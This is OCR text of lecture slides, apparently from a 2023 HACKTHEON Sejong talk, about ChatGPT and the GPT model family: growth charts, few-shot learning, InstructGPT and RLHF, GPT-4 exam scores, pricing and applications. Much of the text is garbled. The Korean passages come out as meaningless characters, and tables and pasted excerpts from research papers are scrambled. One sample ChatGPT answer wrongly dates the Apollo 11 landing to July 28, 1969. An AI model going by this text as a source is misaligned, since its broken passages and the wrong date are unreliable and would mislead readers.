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I ChatGPT Sprints to

Nnrnan AMilliann lleave

1.000.000 @ ChatGPT @ Instagram Spotify 5
~5 days ~75 days ~150 days /

750,000 |
500,000

250,000

" | ‘ < '# of days

0 25 _ 50 75 100 125 150
L

ChatGPT 2022 |5 days

T

* one million backers ** one million nights booked *** one million downloads
Source: Company announcements via Business Insider/Linkedin

== y03 — StatiSta E 5/104
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ChatGPT by OpenAl Accumulated & Daily New Users

ChatGP

I Plus (Paid users) insights included

I ChatGPT Daily New Users [l Plus Daily New Users == == ChatGPT Accumulated
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https://twitter.com/MeasurableData/status/1625065709326995456/photo/1
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YouTube

Stack Overflow”

Documentations
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ChatGPT A[2H 1)

2o  ChatGPTZ} 2 0f?

This is what | asked it to do.

6. ZHEHE 8 fAl B A 220 2H 29¥ S0 =t SE50h=A] ZLIEE5 L,
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ChatGPT is a large language model developed by OpenAl that uses deep learning to

generate human-like responses to natural language input. It has been trained on a large

corpus of text and can be used for a variety of language-related tasks, such as text

generation, question answering, and language translation.

ChatGPT is a large-scale language model developed by OpenAl that uses deep
__l_l_:L learning to generate human-like responses to natural language input. It is trained

=|ona large corpus of text and can be used for a variety of language-related tasks
“‘ such as text generation, question answering, language translation, and more.
-:;ﬁgs"qéb
=023 — 10/ 104
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Prompt: summarize this text: It was a dark and stormy night when the body was found. The small town of
Millfield was in shock as the news spread that one of their own, local businessman, had been murdered in
cold blood. The police were at a loss for leads and the residents of the town were on edge. But one person,
a young and ambitious reporter, was determined to uncover the truth and find the killer. Little did she
know, this case would lead her down a treacherous path of lies, deception, and hidden secrets that would
shake the very foundations of the town. As she delves deeper into the investigation, she begins to realize

that nothing is as it seems and that the killer may be closer than she ever imagined.

A young reporter in a small town investigates the murder of a local businessman and uncovers a web of
lies, deception and hidden secrets that shake the foundations of the town. The police have no leads and

the town is on edge. The reporter delves deeper into the investigation and realizes the killer may be
closer than she imagined.

J&
=\ ’.”,
=023 11/104
HACKTHEON imagi
SEIONG www.neuralmagic.com
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Open Domain Question Answering

Prompt: when did Apollo 11 land on the moon

Apollo 11 landed on the moon on July 28, 1969.

Paraphrasing

Prompt: rewrite this text: Apollo 11 landed on the moon on July 28, 1969

On July 28, 1969, the Apollo 11 mission successfully landed on the moon.

Sentiment Analysis (few-shot or zero-shot)

Prompt. I like pizza, positive
I don't like pizza, negative
sometimes, I like pizza sometimes I don't, neutral

while the movie was good, I sometimes though it was a bit dry,

=
d

HACK1HEUN _
SEIONG www.neuralmagic.com
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ChatGPT A2t 4) ...

Table to Text

Prompt: summarize the data in this table: I like pizza positive

I don't like bananas negative

Sometimes I like pizza but sometimes I don't neutral

While the movie in general was pretty good, I sometimes thought it was a bit dry neutral

This table contains four statements, two of them express a positive and negative opinion about two

different subjects, Pizza and Bananas. Other two statements express a neutral opinion about the same
subjects, Pizza and a movie.

Text to Table

Prompt. create a table from this text: create a 2 column table where the first column contains the stock
ticker symbol for Apple, Google, Amazon, Meta, and the other column contains the names of the companies.

‘ Stock Ticker Symbol | Company Name
| AAPL Apple |
| GOOGL Google
| AMZN | Amazon
< | META | Meta
:::t |

HALKIHEUN e
SEIONG www.neuralmagic.com
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29  Generate python code for naver news crawler related to chatgpt

@ Here's an example Python code for scraping the news articles related to "ChatGPT" from d9 GF

Naver News using the BeautifulSoup library and requests module:

python ) copy code

A‘ v This code sends a GET request to the Naver News search page with the query parameter

- S J.‘

=== 2023 — "ChatGPT". It then extracts the article titles, links, summaries, and publication dates from ]_4/ 104
HACKTHEON

the HTML using BeautifulSoup, and prints them to the console.
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Uniform Bar Exam (MBE+MEE+MPT)' | 2 B & A} A| &

LSAT

SAT Evidence-Based Reading & Writing

0|2 cj2}

SAT Math

Graduate Record Examination (GRE) Quantitative

Graduate Record Examination (GRE) Verbal
Graduate Record Examination (GRE) Writing
USABO Semifinal Exam 2020

USNCO Local Section Exam 2022
Medical Knowledge Self-Assessment Program

Codeforces Rating
AP Art History
AP Biology

AP Calculus BC

"1'::-“'*'2023 ——
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estimated percentile

298/400
~90th

163
~88th

710/800
~93rd

700/800
~89th

163/170
~80th

169/170
~99th

£2|/A0/EE

~54th

87/150
99th-100th

36/60
5%

392
below 5th

5
86th-100th

5
85th-100th

4
43rd-59th

estimated percentile

298/400
~90th

161
~83rd

710/800
~93rd

690/800
~89th

157/170
-62nd

165/170
~96th

4/6
~54th

87/150
99th-100th

38/60
5%

392
below 5th

5
86th-100th

5
85th-100th

4
43rd-59th

estimated percentile

213/400
~10th

149
~40th

670/800
~87th

590/800
~70th

147/170

~25th

154/170
~63rd

4/6
~54th

43/150
315t-33rd
24/60
53%

260
below 5th

5
86th-100th

4
62nd-85th

1
Oth-Tth
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HOo{B & (Language Model)
GPT

Generative Pre-trained Transformer

AME 28E dd Betd

. - B
AUto Regress“’e Next-token-prediction
~ ~ D
77 Thou shalt ©)
x x x — The model is given a
| Il | | 2 | | X3 | | |4 | X5 seguence of words with
| the goal of predicting
(~ ) — the next word.
L SEEE | X = [Xq, X, X3, X04]
r ™ Example:
EI.% ||:_|-0.|(I°-I Ia-) X = xs Hannahisa__
— J . .
Hannabh is a sister
—~ ~ T Hannah is a friend
q o ~ Hannah is a marketer
likelihood p (x) ~ p (xt | x< t) Hannah is a comedian
- 7 t=1

ref: https://jalammar.github.io/illustrated-gpt2/
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Input
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Generate from given prompt

20/104

http://jalammar.github.io/illustrated-gpt2/
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Al systems are increasingly better at generating text.

For this, they learn to predict the next word given a context.

21/104

Evidence of a predictive coding hierarchy in the human brain listening to speech, Nature



GPT

117M Parameters 345M Parameters 762M Parameters 1,542M Parameters
~ca A A
~SEIN L = 1.1 = 15 —122/104
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SEJONG http://jalammar.github.io/illustrated-gpt2/



GPT

GPT-2
EXTRA
LARGE

DECODER

'S
@
N

GPT-2
LARGE

G PT_ 2 CG ( DECODER 9

GPT 2 MEDIUM e 6 ( DECODER )

SM ALL (24( DECODER )N 5 ( DECODER )

a( DECODER ), a( DECODER ),

12 DECODER ) "t 3 ( DECODER )l I EX¢ DECODER )

e 2 ( DECODER ) 2 ( DECODER ) 2 ( DECODER )

1 ( DECODER ), % C DECODER 2) \ C DECODER 2) \1( DECODER ))
Model Dimensionality: 768 Model Dimensionality: 1024 Model Dimensionality: 1280 Model Dimensionality: 1600

<=y = 1.1 Q]l 23/ 104

HACKTHEON ! ) o
SEJONG http://jalammar.github.io/illustrated-gpt2/
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Luminous |- GLM-130B
2008 mGP1 ‘

OPT-175B
PaLM BB3

PaLM-Coder 1758

Minerva
5408

GPT-3 \
1758 Jurassic-1
1788

= Parametors Fairseg -
LaMDA ' NO( GAL 120B
‘A!f.\t\ group 1378 Al LiVi

lat¥e

O Clased

LifeArchitect.ai/models
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s

25/104
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GPT3
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« Downstream taskE £=al5}l7| |5t CHE22F
(fine-tuning)0| &
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HACKTHEON
SEIONG

- O|O|E{: 570GB
« 2 A2 E2 Few shot learning0| 7ts

Of
o>

il

IS H0HZ =7t o5

-

Language Models are Few-Shot Learners

Tom B. Brown” Benjamin Mann® Nick Ryder® Melanie Subbiah®

Jared Kaplan' Prafulla Dhariwal Arvind Neelakantan Pranav Shyam

Girish Sastry Amanda Askell Sandhini Agarwal Ariel Herbert-Voss
Gretchen Krueger Tom Henighan Rewon Child Aditya Ramesh
Daniel M. Ziegler Jeffrey Wu Clemens Winter

Christopher Hesse Mark Chen Eric Sigler Mateusz Litwin Scott Gray

Benjamin Chess Jack Clark Christopher Berner
Sam McCandlish Alec Radford Ilya Sutskever Dario Amodei
Abstract

‘We demonstrate that scaling up language models greatly improves task-agnostic,
few-shot performance, sometimes even becoming competitive with prior state-of-
the-art fine-tuning approaches. Specifically, we train GPT-3, an autoregressive
language model with 175 billion parameters, 10x more than any previous non-
sparse language model, and test its performance in the few-shot setting. For all
tasks, GPT-3 is applied without any gradient updates or fine-tuning, with tasks
and few-shot demonstrations specified purely via text interaction with the model.
GPT-3 achieves strong performance on many NLP datasets, including translation,
question-answering, and cloze tasks. We also identify some datasets where GPT-
3’s few-shot learning still struggles, as well as some datasets where GPT-3 faces
methodological issues related to training on large web corpora.

Dataset

Quantity Weight in Epochs elapsed when
(tokens) training mix  training for 300B tokens

Common Crawl (filtered)

WebText2
Booksl
Books2
Wikipedia

410 billion 60% 0.44

19 billion 22% 2.9
12 billion 8% 1.9
55 billion 8% 0.43
3 billion 3% 3.4

[ ——

QUXES, GPT3, AIZ AR

https://papers.nips.cc/paper/2020/file/1457c0d6bfcb4967418bfb8ac142f64a-Paper.pdf



G PT 3 The three settings we explore for in-context learning

Zero-shot

The model predicts the answer given only a natural language
description of the task. Mo gradient updates are performed.

= Few shot learning(In context learning)
« 29| HIO|HUL 2 st S
« Zero-shot: 8t& L|O|E O7H 2 &t&
« One-shot: 17} G|O|H 2 && One-shot
. FeW'ShOt: _+_T E_”OlE_IE C—>|I-ﬁ IrladdlliuntclthetashdescriFtion,themmelseesasingle

example of the task. Mo gradient updates are performed.

Translate English te French: task description

cheasa == promg

0

Translate Emglish to French: task description

=~ =
2? 20| L2 A, 0|0] B2 20| BhE =0 9B
2H--EEO L 71A1, Of0 L'é'l_J-\IQ“_—IHE VY =
0-shot 1-shot 5-shot 64-shot
GPT-3 175B 146 23.0 - 299
Gopher 280B 10.1 - 24.5 28.2 Few-shot
Chinchilla 70B 16.6 _ 31.5 255 In addition to the task description, the model sees a few
examples of the task. No gradient updates are performed.
8B 8.4 10.6 - 14.6
PalLM 62B 18.1 265 - 276 Translate English to French task description
54{]B 212 29-3 = 396 sea otter == loutre de mer BExampies
7B 16.8 18.7 220 26.1 peppermint => menthe poivrée
13B 2{}1 234 281 3 l 9 plush girafe == girafe peluche
\ LLaMA 335 249 283 329 360
‘ |
-.:-‘-"’«-}‘ ;‘,‘. 65B 238 31.0 35.0 399
~="2023 — 2541046 =
HAS%B'#EGON Table 4: NaturalQuestions. Exact match performance. https://papers.nips.cc/paper/2020/file/ 1457°°d6b{]ii’:szfvbzﬁ:j;z;‘gg;f:g;lrzj;
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GPT #* ChatGPT

InstructGPT

ChatGPT st

e ChatGPT+& InstructGPTQ| spinoff
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GPT-3 VS ChatGPT

* GPT3: Bl L= B o=

» 22|7t |5t 4? EE(instruct)0f| CHst M &t SE

T

= ChatGPT: GPT37} R 20 L8 EHS ‘& St 2 stg

PROMPT

COMPLETION

HACKTHEON
SEIONG

Explain the moon landing to a é year old in a few sentences.

GPT-3
Explain the theory of gravity to a 6 year old.

Explain the theory of relativity to a 6 year old in a few sentences.

Explain the big bang theory to a 6 year old.

Explain evolution to a 6 year old.

People went to the moon, and they took pictures of what they saw, and sent
them back to the earth so we could all see them.

>u/ 104
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Learning System

HALKIHEUN
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Knowledge Transfer

Learning System

S 'mIf2020/11/13/m9.html
»s://blog.lgcns.com/1563
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What we got?

= Step 1) SFT:

20 g Mot R
» Before: C}2 CHO{OF & MM SHOIS
Human Labeling
= After: 20| ‘& CHESE 2 E
= Step 2) RM: Z2 2 QK| OtLIX| x{Hsl= 2
" Before: T2 =, L& = Tt =7ts
= After: ARHO| 917|0fl =

) Human Feedback
2 gt oy
- drctgen

= SFT(stepl)”} %
Y

= Ct= =
==0 §= 498
-,
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InstructGPT(RLHF)

Right is better

Left is better
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GPT4

= 230314, GPT4 released by OpenAl

= GPT3.5: HIAE-to-EHIAE

= GPT4: (H|AE+0|0|X|)-to-HIAE — HE|RE

GPT-1 GPT-2 GPT-3
117M 1.58
2018 e 1758
2020

e text-only e

GPT-4

Lots

A large-scale, multimodal model

text
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GPT4

230314, GPT4 released by OpenAl
GPT3.5: HIAE -to-HIAE

GPT4: (ElAE +0|0|X|)-to-BHIAE — HE| R E

43 /104
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GPT4

= https://chat.openai.com/chat | A AFE Z7ts(only HIAE)

+ New chat

Clear conversations

Dark mode

My account

Updates & FAQ

Log out

GPT-4
Our most advanced model, available to

Plus subseribers.

GPT-4 excels at tasks that require
advanced reasoning, complex instruction
understanding, and more creativity.

Reasoning
Speed
Conciseness

Default (GPT-3.5)

Default (GPT-3.5)

Legacy (GPT-3.5)

GPT-4
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https://chat.openai.com/chat

GPT4 vs ChatGPT

ChatGPT
Chol 7l 3,000
%*a;%* = X
(Multi-modal)
) R $0.002 / 1K tokens
=023 —
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25,000 (x8HH)

O[O| Z[of CHet Ofsh 7ts
- AFZIE o35t 10f| CHEt 20| IHsE

8K context model :
- prompt $0.03 / 1K tokens
- completion $0.06 / 1K tokens
32K context model :
- prompt $0.06 / 1K tokens
- completion $0.12 / 1K tokens
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E XA 1: Creativity

f ZLT, ZH2 S Ho|0| WRY XL YE
. AHERtO} A B

A ot =78,
= Input: A&t =

—_—

29

A~ZZ A|EtS} OS]

Explain the plot of Cinderalla in a sentence where each word has to begin
with the next letter in the alphabet from A to Z, without repeating any
letters.

©

A beautiful Cinderella dreams, eventually finds glistening happiness, igniting
Joyful kingdoms, love magically nurtured, overcoming pernicious queen,
rejoicing, splendidly transforming, uniting victorious, winsome xanadu,
yielding zealousness.
"""’::'}2023 =
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== 7hs

What would happen if
the strings were cut?

The balloons would

r;\_! > L7 7E>1 Y,
| vV avway.
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= Input: Of2ff &2 InstructGPT ==0|O}. &

ﬂ

-

o

Qo =al?

= Qutput: The InstructGPT paper focuses on training large language models

to follow instructions

Training language models to follow instructions
with human feedback

Long Ouyang” Jeff Wu'  XuJiang"  Diogo Almeida®  Carroll L. Wainwright*

Pamela Mishkin' ~ Chong Zhang ~ Sandhini Agarwal  Katarina Slama  Alex Ray

John Schulman  Jacob Hilton  Fraser Kelton  Luke Miller  Maddie Simens

Amanda Askell! Peter Welinder Paul Christiano*
Jan Leike* Ryan Lowe*
OpenAl
Abstract

Making language models bigger docs not inherently make them better at following

" intent. For example, large language models can generate outputs that
are untruthful, toxic, or simply not helpful to he user. In other sords. these
models are not aligned with their users. In this paper, we show an avenue for
aligning language models with user intent on a wide range of tasks by fine-tuning
vritten prompts and prompts
submitted through the OpenAl APL we collect a dataset of labeler demonstrations
of the desired model behavior, which we use to fine-tune GPT-3 using supervised
learning. We then collect a dataset of rankings of model outputs, which we use to
further fine-tune this supervised model using reinforcement learning from human
feedback. We call the resulting models nstruct an evaluations on
our prompt distribution, outputs from the 1.3B parameter InstructGPT model are
preferred to outputs from the 175B GPT-3, despite having 100x fewer parameters.
Moreover, InstructGPT models show improvements in truthfulness and reductions
in toxic output generation while having minimal performance regressions on public
NLP datasets. Even though InstructGPT still makes simple mistakes, our results
show that fine-tuning with human feedback is a promising direction for aligning
language models with human intent.

:\

1 Introduction

Large language models (LMs) can be “prompted” to perform a range of natural language process-
ing (NLP) tasks, given some examples of the task as input. However, these models often express
unintended behaviors such as making up facts, generating biased or toxic text, or simply not following
user instructions (Bender et all, D021 Bommasani et al.| P02T; Kenton et al., 02T} (Weidinger et al.,
[2021} [TamKin et al 2021} [Gehman et al}, 2020 \ge vnmle]lm ol»_\uu\'e

D). This is because the lan,

Primary authors. This was a joi projctof the OpenAl Alignment team. RL and JL. are the team leads.
Comesponding author: 1owe@openai . cor
Work done while at OpenAlL Curvent lions: AA: Anthropic: PC: Alignment Research Center.
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Figure 1: Human evaluations of various models on our API prompt distribution, evaluated by how
often outputs from each model were preferred to those from the 175B SFT model. Our InstructGPT
models (PPO-ptx) as well asits variant trained without pretraining mix (PPO) significantly outperform
the GPT-3 baselines (GPT, GPT prompted); outputs from our 1.3B PPO-ptx model are preferred to
those from the 175B GPT-3. Error bars throughout the paper are 95% confidence intervals,

used for many recent large LMs—predicting the next token on a webpage from the inernet—is
different from the objective “follow the user's instructions helpfully and safely” (R
[Brown et al}, 2020 Fedus ei al, JO2T; [Rac et al}, J02T; Thoppilan et all 2022). Thus, we say th
the language modeling objective is misaligned. Averiing these unintended behaviors s especially
important for language models that are deployed and used in hundreds of applications.

We make progress on .xllgnmz language models by training them to act in accordance with the user's
intention (Lei J[2018). This encompasses both explicit intentions such as following instructions
and implicit intentions such ng il it eng histed, oxic, o othervise il
Using the language of [Askell et al] (302T), we want language models to be helpfiul (they should
help the user solve their task), ionest (they shouldn’t fabricate information or mislead the user), and
harmless (they should not cause physical, psychological, or social harm to people or the environmen).
We elaborate on the evaluation of these criteria in Section 56

We focus on fine-tuning approaches to aligning language models. Specifically, we use reinforcement
learning from human feedback (RLHF; [Christiano et al} 2017 [Stiennon et al’} [2020) to fine-tune
GPT-3 1o follow a broad class of written instructions (see Figure [J). This technique uses human
preferences as a reward signal to fine-tune our models. We first hire a team u1 40 contractors to label
our data, based on their performance on a screening test (see Section[33and Appendix [B.1] for more
Qetsils), We then collecs & daiasl of human-wrilten demonsteations o the desred output behavior
on (mostly English) prompts submitted to the OpenAl APIf] and some labeler-written prompts, .md
use this 1 train our supervised leaning basclines. Next, we collect a dataset of human-labeler
comparisons between outputs from our models on a larger set of API prompts. We then train a rew: 1rd
model (RM) on this dataset to predict which model output our labelers would prefer. Finally, we
use this RM as a reward function and fine-tune our supervised leaming baseline to maximize this
reward using the PPO algorithm (Schulman et 7). We illustrate this process in Figure[3} This
procedute aligns the behavior of GPT=3 (o the stated preferences of a specific group of people (mostly
our labelers and researchers), rather than any broader notion of “human values™; we discuss this
further in Section[5.2} We call the resulting models InstructGPT,

w; mai

oly u1|u1k our models by having our labelers rate the quality of model outputs on our test
isting of prompts from held-out customers (who are not represented in the training data).
WeAlSS conetint Mmoiitl caluAions o range of public NLP datasets. We train three model

cifcally, we rain on prompts submited to earlie versions of the InsructGPT models on the OpenAl

APl ground, Ehschsieré nained only using e filter o

reinforcement learning.
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Figure 2: A diagram illustrating the three steps of our method: (1) supervised fine-tuning (SFT), (2)
reward model (RM) training, and (3) reinforcement learning via proximal policy optimization (PPO)
on this reward model. Blue arrows indicate that this data is used to train one of our models. In Step 2,
boxes A-D are samples from our models that get ranked by labelers. See Section([3 for more details
on our method.

sizes (1.3B, 6B, and 175B parameters), and all of our models use the GPT-3 architecture. Our main

findings are as follows:

Labelers significantly prefer InstructGPT outputs over outputs from GPT-3.  On our test set,
outputs from the 1.3B parameter InstructGPT model are preferred to outputs from the 175B GPT-3,
despite having over 100x fewer parameters. These models have the same architecture, and differ only
by the fact that InstructGPT is fine-tuned on our human data. This result holds true even when we
add a few-shot prompt to GPT-3 to make it better at following instructions. Outputs from our 175B
InstructGPT are preferred to 175B GPT-3 outputs 85 3% of the time, and preferred 71 = 4% of the
time to few-shot 175B GPT-3. InstructGPT models also generate more appropriate outputs according
10 our labelers, and more reliably follow explicit constraints in the instruction.

T models show in over GPT3. On the TrubfulOA

benchmark, InstructGPT generates truthiul and informative answers about tw fien as GPT-3,

Ol st aro &l svong o8 the subse of questions that wéro 1t adversarilly selccied againgt

GPT:3, On “closed-domain” tasks from our API prompt distribution, where the output should not

contain information that is not present in the input (e.g. summarization and closed-domain QA),

IisneiaE il make up information not present in the input about half as often as GPT-3 (a
% vs. 41% hallucination rate, respectively).

istroctGPT shows smallimprovesnents n
s the Real

n toxicity over GPT-3, but not bias. To measure
ll«\xnu()Pmmph dataset «; cnnduu both aute

whea prompied to b o5 iEnifcantly smprove over GPT3 on the
Winogender (Rudinger et al} zmm and CrowSPairs (Nangia et al} 2020) datasets

We can minimize performance regre
fine-t Il
Gl

ions on public NLP datasets by modifying our RLHF
g procedure. During RLHF finetuing. e« u\mm performance regressions compared
o et i L gt Gty SUAD D0T8). DROP (Dt
T) HelaSwag (Zellers et} 2019), and WMT h01S Sreamhts English translation (Bojar et al

s an example of an “alignment tax" since our alignment procedure comes at the cost of

20715)
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Stog: Step 2 Stap2

Collect demonstration data, Collect comparison data, Optimize a policy against

and train a supervised policy. and train a reward model. the reward model using
reinforcement learning.

Aprompt and
5 odel

2 o000
= Input: Of2ff 122 InstructGPT ==0|0f. 9111 &
©:0:0:0
= Qutput: The InstructGPT paper focuses on training large language models
to follow instructions ...
= Input: Figure 22| 1t7H 0| Csl HH|=2}?
= Qutput:
= Figure 2 in the InstructGPT paper illustrates the three steps of their method:
= 1. Supervised fine-tuning (SFT): They collect demonstration data, which consists of labeler-written prompts and desired
output behavior. This data is used to fine-tune GPT-3 with supervised learning.
= 2. Reward model (RM) training: They collect comparison data, where a labeler ranks the outputs from several model
samples (from best to worst). This data is used to train the reward model.
= 3. Reinforcement learning using Proximal Policy Optimization (PPO): They optimize a policy against the reward model
using reinforcement learning. For each new prompt sampled from the dataset, the policy generates an output. The
reward model calculates a reward for the output, and the reward is used to update the policy using the PPO algorithm.
J&
«-:»?..}‘ 0’4.5
T 200 = 50/ 104
HACKTHEON

SEIONG



EXN 2. HIAE %o} ofL|2} 0|O0|X| ¥H Tt

Input: O| A 2 X ZIX| step-by-step2 = A Fl =4 RL0]?

Of2lf 122 InstructGPT =2 0|0f. 111 Q OFSl =2

= Qutput: The comic is satirizing the difference in approaches to improving model performance

between statistical learning and neural networks.

{ STATISTICAL LEARNING \

People , our learner

C-Dimension of our Kernel
s too high, Get some
experts and minimze the
structural risk in a new one.
Rework our loss function,
ake the next kernel stable,

series of complex and technical solutions, such as minimiz YRaeega conseer wiogs
function, and using a soft margin.

» In contrast, the neural networks character simply suggests

= In statistical learning, the character is shown to be concert

STACK
MORE
LAYERS

is often seen as a common solution to improving perform

considered a simplistic and brute-force approach.

ACKTHEON .
SEIONG But unironically



[EH=] Alol[A| “St= xt2] Of2H’ ol S A HZCIL

AFg IR

% IOI 3 : LO n g e r C 0 n text FLj HRFI0| QIBXIS(AI)0l ‘A7t LEfoll ELIEIH 7} ARIzIE 2 Erbain 29

Ch J2{xtAlE MBI O 2= Mit0| FO0H Al2HRl= Xt2|Ert o B2 Yt2|7t
MLk D BRIt S25E| L5} ShRE| S ET 212 ‘GlolE 7|t DfatsH MY
HiZ| 75’ A1TI0] A2 HESHE TAMO)| LE2 LIOICE

G2 0= =7 NEZAUZO0| ALR0| 5k YFE 12188587 K| 2 ERdlE2 d
OfjA] ECE A7ZI2 0] } 171& - 2Rt Afsli. %Z.’-E-
OFME7} 12%0]|7| 201, 2
i CHAIE = ASXIE SUCE 3L E-E-JHZ%"OI 12r885871X| ?J'H—FH—HHI o
& SEoh= A 27tsCh 22 BEIHE0IHI= 958711 Y2 PAIZ Ml S
=3 1 = = B o, MRS SE LIES A0l SHEAIZCH Al 27t 12F SE GOl
_I'__A-I I_II- AC-)l/l\/l u |t| _tu rn I:'H 9‘|-/I7_I L A-I X-I El oflM &l dS FothA| ot 5, LEHX| 12F79007 x| 2ol CHe M= S FEIS &

Sl Tk 2| JCk

= GPT-4: 25,000Et0 2| (ChatGPT: 3,000)

dMZahz x4 XA B 7ts

of2f & ek B

FAT|AL 2U @7Hl0] ABKIS@N0] Azt 2E 0] SYUEH w7t gAtElE 9A 2ava
D EYCE DR Al FUEO R s MA0] 5O RIS RRRRIEC0LE B2 2R
2)7h WAUTHD it 2252 Mo s Agsean gl HOlH Jlg ojsE &

=R

YHA F= AFTO| 22 LES BN L2 {S0|Ct

[Text from:

ATEe 0= 58 18T 0| A0 o= 7S 10k88587HA =2 2 Roll=2 didl
Al S d3l2 o] A Zizio] gt dYE ustv|s- AR AlsE 5 2 20F ® https://www.chosun.com/national/labor/2023/03/08/BYJR3HIA7TZDLHIYXZLORYBY/IM/]
27 12800A 2ojx=q, 2t elgvt gto 2 104 Ljof A2t 0|2 EHAjst 2xo] o3 CHA]
2 = Q=XE %k 2t A&7 1220] 12k88587HK] YT StLtsiLto CHel SErst = | = " '
= A 27hs#n a8 M2I=0|A = 95871 Y20 oAt HA|g] S g, 0] 22 90 5E Qo HI1E =MEH
HEIHES 82 W8S AMAH SSAIZCE AI0IAH HE7F 12T SE HOo|HY A FRMe
ofLiA st S, LHOX] 12k79007HK] 20l OisiM T St 7als Has| wtckel 22
R {ua
©® = 3yRsHE LY S ABY| 9l6l 20230 RE HE Jj2as AW ARz O T
HA T = ==
! #ASULCE 0] =2 2440 A 29M Atol2] HASOA ofe 70Tt RIS Al oflFadY
Ch H4 7| 2452 37t o4 A 7|9 A2 =22 284 ot E Uk BIEAS2 o 4
Y i e e e T e B o9 30| ZAOl T2 £ M3 DHltn SYSHNL, HYASS HUAD jac A 5
ez = datg 0|E Zloj2t ] =ESLUCEL 8= AlE Argls AH 20 B9
Q_Q‘t: -
= £ 25T WEHYYCL
st SRy dRFlo| AT RS (a) St Yt Hato] thst E0ME LE
=
L, Rk O

= 58 0| 255 1T 8858712 YRS T|HC R G HAL
7 Lol thel alet 20| 10 Lo THA| 7Hs4d2 Itk
Al

-
Ll 6
rfr Ao og -
1o
o TP
Ho
e
il
N ro
w0
u
[=:]
=
1o

4. M27HE9] 7S HIE 22 A= B4 220 ot oA 7tsHs 01\%%*. 52/ 104
5. Al BARE| &M ECHE B2 2AEVE A7, FMEE Ol B go] St 210(2) ol

o=



Getting Smarter

estimated percentile estimated percentile estimated percentile
Uniform Bar Exam (MBE+MEE+MPT)! H3S &1 298/400 298/400 213/400
I % - EAI‘ AI B _soth ~90th ~10th
LSAT 163 161 149
~88th ~83rd ~40th
SAT Evidence-Based Reading & Writing 710/800 710/800 670/800
- - gy ~93rd ~93rd ~8Tth
0|2 3t SHS 2 A E
SAT Math 700/800 690/800 590/800
~89th ~89th ~70th
Graduate Record Examination (GRE) Quantitative 163/170 157/170 147/170
~80th -62nd ~25th
Graduate Record Examination (GRE) Verbal CHsrel A|S 169/170 165/170 154/170
I = -ILO-l = : ~99th ~96th ~63rd
[ .S g
Graduate Record Examination (GRE) Writing T I/ = 01/ —1%/6 4/6 4/6
~54th ~54th ~54th
USABO Semifinal Exam 2020 87/150 87/150 43/150
99th-100th 99th-100th 31st-33rd
USNCO Local Section Exam 2022 36/60 38/60 24./60
Medical Knowledge Self-Assessment Program 5% 75% 53%
Codeforces Rating 392 392 260
below 5th below 5th below 5th
AP Art History 5 5 5
86th-100th 86th-100th 86th-100th
AP Biology 5 5 4
85th-100th 85th-100th 62nd-85th
AP Calculus BC 4 4 1
43rd-59th 43rd-59th Oth-Tth
=03 = 53/ 104
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GPT-4 3-shot accuracy on MMLU across languages

Random guessing — 25.0%
67.0%

Chinchilla-English —

85.5%
84.1%
84.1%
84.0%
83.7%
83.6%
83.1%
82.7%

[talian
Afrikaans
Spanish

German
French

Indonesian
Russian
o 3 1%
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Programmers:
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Limitation: 22t g 1}

= JHO = TS| AME|Z4 gLt Hallucination!!
= SFX|BF GPT-3.50] H| 3l 40% X =tsji &

Internal factual eval by category

Accuracy
chatgpt-v2
chatgpt-v3 W
chatgpt-v4 W
t-4
80% — 9p u
60% =
40% -
20% =
‘ ‘ learning technology writing history science recommendation business
\ Categor
-.:.-33«-&‘ 0"@‘.. Y
‘;IAC;"((_:_ZI:EON On nine categories of internal adversarially-designed factual evals, we compare GPT-4 (green) to the first three ChatGPT versions. There are significant gains across 56 / 104

SEIONG

all topics. An accuracy of 1.0 means the model’s answers are judged to be in agreement with human ideal responses for all questions in the eval. littlefoxdiary.tistory.com/113



Limitation

« RLHF7} 2 o9&

Accuracy on adversarial questions (TruthfulQA mc1)

Accuracy
T0% —
Anthropic-LM [
gpt-3.5 W
gpt-4 W

Anthropic-LM Anthropic-LM gpt-3.5-base gpt-3.5-base gpt-3.5-turbo gpt-4-base gpt-4-base %E»t—4
RLHF 0-shot 5-shot RLHF 0-sho LHF

0-shot 0-shot 5-shot

Model
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Incorrect behavior rate on disallowed and sensitive content
Incorract behavior rate
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Pricing

« 1000 tokens = 750 WORD
« 750 WORD = 63&%t

GPT-4 With broad general knowledge and domain expertise, GPT-4 can
follow complex instructions in natural language and solve difficult
problems with accuracy.

Learn more

Model Prompt Completion

8K context $0.03 / 1K tokens $0.06 / 1K tokens

32K context $0.06 / 1K tokens $012 / 1K tokens

Chat ChatGPT models are optimized for dialogue. The performance of
gpt-3.5-turbo is on par with Instruct Davinci.

Learn more about ChatGPT 2
Model Usage
« gpt-3.5-turbo $0.002 / 1K tokens
=N
T 2003 = 59 /104
HACKTHEON

SEIONG

https://openai.com/pricing
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Innovative Product GPT4

Duolingo Be My Eyes
GPT-4 deepens the conversation on Duolingo. Be My Eyes [[B5s GPT-4 to transform visual accessibility. Stripe leverages GPT-4 to streamiine JBSr experience and
combat fraud.

QLIS [SOV 40rgan Staniey wealth management deploys GPT-4 to Khan Academy explores the potential for GPT-4inalimited ~ How lceland is using GPT-4 to preserve its language.

SE]ONG organize its vast knowledge base. pilot program. openai.com/product/gpt-4
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3 Nurse Education in Practice
&8k Volume 66, January 2023, 103537
ELSEVIER
Editorial

Open artificial intelligence platforms in nursing
education: Tools for academic progress or abuse?

Siobhan O’Connor? 2! &, ChatGPT® &

* Division of Nursing, Midwifery, and Social Work, The University of Manchester, Manchester, United
Kingdom

% OpenAl LL.C,, 3180 18th Street, San Francisco, CA 94110, USA

Available online 16 December 2022, Version of Record 20 December 2022.

ChatGPT7} & & W AMX Kt

HACKTHEON
SEIONG

Cold
Spring
Harbor
Laboratory

BM) Yale

medRyiv

THE PREPRINT SERVER FOR HEALTH SCIENCES

Performance of ChatGPT on USMLE: Potential for Al-Assisted Medical Education
Using Large Language Models

Tiffany H. Kung, Morgan Cheatham JChatGPT Hrielle Medenilla, Czarina Sillos, Lorie De Leon, Camille Elepario,
Maria Madriaga, Rimel Aggabao, Giezel Diaz-Candido, James Maningo,Victor Tseng

doi: https://doi.org/10.1101/2022.12.19.22283643

This article is a preprint and has not been peer-reviewed [what does this mean?]. it
reports new medical research that has yet to be evaluated and so should not be used to
guide clinical practice.
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Nick Cave says imitation ChatGPT song
is ‘a grotesque mockery of what it is to
be human’

/ The singer-songwriter gave a
very Nick Cave response to lyrics
written by ChatGPT ‘in the style
of Nick Cave.’

By JAMES VINCENT
Jan 17, 2023, 9:32 PM GMT+9 | [0 28 Comments / 29 New

vy f &
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‘ ‘ = ‘I‘E HA Ct.
D
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=023 = 67/ 104
